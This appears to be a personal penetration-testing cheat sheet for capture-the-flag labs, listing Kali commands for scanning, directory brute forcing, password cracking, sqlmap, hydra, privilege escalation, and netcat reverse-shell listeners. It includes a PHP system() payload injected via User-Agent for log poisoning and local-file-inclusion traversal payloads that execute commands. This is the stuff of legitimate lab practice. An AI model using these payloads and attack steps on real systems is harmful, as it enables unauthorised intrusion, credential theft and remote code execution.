**VPN**

sudo openvpn Dylan.ovpn

in openvpn directory

**Application Files**

/usr/share

**Working Files**

/home/kali/Documents/

**NMAP**

(sudo) nmap --script vuln [ip]

**Metasploit**

msfconsole

Options (see all set values)

**Cracking**

/home/kali/Documents/Scripts/rockyou.txt

crack station

**Gobuster**

gobuster dir –u http://[ip] –wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

/usr/share/wordlists/dirb/common.txt

-x .php,.sh,.txt,.cgi,.html,.js,.css,.py

Look out for .ssh and robots.txt

**John The Ripper**

/usr/share/john (main 2john files)

/sbin (other 2john files) -> includes main john script sudo /sbin/john

with **root** permissions:

(sudo) john --wordlist=".." [file].txt

(sudo) john --format=raw-md5 [file].txt

echo –n “[pass hash]” > hash.txt

(sudo) john --wordlist=/home/...rockyou.txt –format=raw-md5 hash.txt

**SQLMAP**

Sqlmap dir –forms –u http://[ip]

**Python Shell**

python –c “import pty;pty.spawn(‘/bin/bash’)”

**Priv Esc**

Sudo su

sudo -l

**Nikto**

nikto –h “http://[ip]”

**Curl**

To log in as user-agent to the site (use –L for redirect)

curl “http://[ip]” –H “User-Agent: C” –L

curl “http://[ip]” –H “User-Agent: <?php system(/?\_GET[‘c’]);?>” (local file inclusion)ka

**Hydra**

Hydra –l [username] –P [password list.txt] ftp://[ip]

Or ssh

**Steghide**

steganography program

steghide extract –sf [image].jpg (requires passphrase)

**Linpeas**

scp to send files

scp linpeas.sh [user]@[ip]:/dev/shm

chmod +x linpeas.sh

./linpeas

**Reverse Shell**

Look up pentestmonkey reverse shell cheat sheet

Execute python script or import .php file

Remember to modify IP address of script (your own IP (“IP”,9999) )

**Netcat**

netcat –lnvp 9999 - listen to response and create shell on port 9999

**PHP Local File Inclusion**

[ip]/?view=php://filter.convert.base64-encode/resource=dog/../index

[ip]/?view=php://dog/../../../../../../var/log/apache2/access.log&ext=

[ip]/?view=php://dog/../../../../../../var/log/apache2/access.log&ext&c=id (after curl access)

**SSH**

If RSA key obtained, save in file with top and bottom tags

chmod 600 to make an RSA key

ssh –i [RSA file] [name]@[ip]

**SUID**

find / -user –perm -4000 –exec ls –ldb {} \;